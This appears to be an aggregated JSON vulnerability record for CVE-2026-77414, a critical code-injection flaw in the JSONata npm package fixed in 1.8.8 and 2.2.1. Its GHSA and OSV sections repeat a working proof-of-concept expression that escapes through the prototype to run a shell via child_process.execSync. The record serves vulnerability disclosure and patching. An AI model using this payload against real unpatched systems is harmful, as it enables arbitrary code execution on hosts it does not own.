{"id":"CVE-2026-77414","aliases":["EUVD-2026-64083","GHSA-2943-5xfg-gq5f"],"status":"published","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0057,"percentile":0.47509,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-08-21T20:51:43Z","modified":"2026-10-28T02:31:02Z","fixes":[{"ecosystem":"npm","package":"jsonata","fixed_in":["2.2.1","1.8.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"jsonata","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.2.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"jsonata","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}]},{"source":"osv","ecosystem":"npm","package":"jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.1"}]}]},{"source":"osv","ecosystem":"npm","package":"jsonata","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}]}],"products":[{"vendor":"jsonata-js","product":"jsonata"}],"references":[{"url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/jsonata-js/jsonata/pull/799","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de","tags":["web"]},{"url":"https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2943-5xfg-gq5f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77414.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77414","tags":["advisory"]},{"url":"https://github.com/jsonata-js/jsonata","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-77414","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","status":"published","published":"2026-08-21T20:51:43.5Z","modified":"2026-08-26T17:42:09.319Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:15.712761Z"}],"euvd":[{"id":"EUVD-2026-64083","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","status":"published","published":"2026-08-21T20:51:43Z","modified":"2026-08-26T17:42:09Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:01:30.08255Z"}],"ghsa":[{"id":"GHSA-2943-5xfg-gq5f","title":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","description":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n     $hasOwnProperty := $spread($string);\n     $__proto__ := $constructor;\n     $constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")();\n)`);\n\nawait expression.evaluate({});\n```","status":"published","published":"2026-08-21T20:58:01Z","modified":"2026-08-21T20:58:02Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:41:04.755504Z"}],"nvd":[{"id":"CVE-2026-77414","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","status":"published","published":"2026-08-21T21:17:07.41Z","modified":"2026-10-12T16:10:00.22Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:40.665005Z"}],"osv":[{"id":"CVE-2026-77414","title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.","status":"published","published":"2026-08-21T20:51:43.5Z","modified":"2026-10-28T02:31:02.057830536Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:17.102988Z"},{"id":"GHSA-2943-5xfg-gq5f","title":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","description":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n     $hasOwnProperty := $spread($string);\n     $__proto__ := $constructor;\n     $constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")();\n)`);\n\nawait expression.evaluate({});\n```","status":"published","published":"2026-08-21T20:58:01Z","modified":"2026-08-21T21:10:59.416749Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:33.956911Z"}]}}